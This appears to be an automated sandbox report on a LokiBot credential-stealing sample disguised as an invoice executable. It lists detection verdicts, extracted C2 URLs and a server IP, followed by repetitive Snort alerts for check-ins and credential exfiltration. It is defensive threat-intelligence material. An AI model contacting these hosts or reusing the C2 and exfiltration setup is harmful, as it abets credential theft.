Source: http://sempersim.su/gm11/fre.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: sempersim.su	Virustotal: Detection: 25%			Perma Link
Source: http://sempersim.su/gm11/fre.php	Virustotal: Detection: 25%			Perma Link

Machine Learning detection for sample

Source: INV.2022LB0362 FORM CO (2).exe

Joe Sandbox ML: detected

Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://sempersim.su/gm11/fre.php"]}

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:49977 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49699 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49699 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49699 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49699 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49699 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57840 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49700 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49700 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49700 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49700 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49700 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57990 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49701 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49701 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49701 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49701 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49701 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49701
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:52387 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49702 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49702 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49702 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49702 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49702 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49702
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:56924 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49703 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49703 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49703 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49703 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49703 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49703
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60625 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49704 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49704 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49704 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49704 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49704 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49704
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:49302 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49705 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49705 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49705 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49705 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49705 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49705
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53975 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49706 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49706 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49706 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49706 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49706 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49706
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:51139 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49707 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49707 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49707 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49707 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49707 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49707
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:52955 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49708 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49708 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49708 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49708 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49708 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49708
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60582 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49709 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49709 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49709 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49709 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49709 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49709
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57134 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49710 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49710 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49710 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49710 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49710 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49710
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:62050 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49711 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49711 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49711 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49711 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49711 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49711
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:56042 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49712 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49712 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49712 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49712 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49712 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49712
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:59636 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49713 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49713 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49713 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49713 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49713 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49713
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:55638 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49714 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49714 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49714 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49714 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49714 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49714
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57704 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49715 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49715 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49715 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49715 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49715 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49715
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65320 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49716 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49716 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49716 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49716 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49716 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49716
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60767 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49717 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49717 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49717 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49717 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49717 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49717
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65107 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49718 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49718 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49718 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49718 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49718 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49718
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53848 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49719 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49719 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49719 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49719 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49719 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49719
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57571 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49720 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49720 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49720 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49720 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49720 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49720
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:58691 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49721 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49721 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49721 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49721 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49721 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49721
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53305 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49722 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49722 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49722 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49722 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49722 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49722
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:59433 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49723 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49723 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49723 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49723 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49723 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49723
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60749 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49724 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49724 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49724 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49724 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49724 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49724
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:56949 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49725 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49725 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49725 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49725 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49725 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49725
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:52547 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49726 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49726 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49726 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49726 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49726 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49726
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53844 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49727 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49727 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49727 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49727 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49727 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49727
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65017 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49728 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49728 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49728 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49728 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49728 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49728
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53466 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49729 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49729 -> 95.213.216.202:80
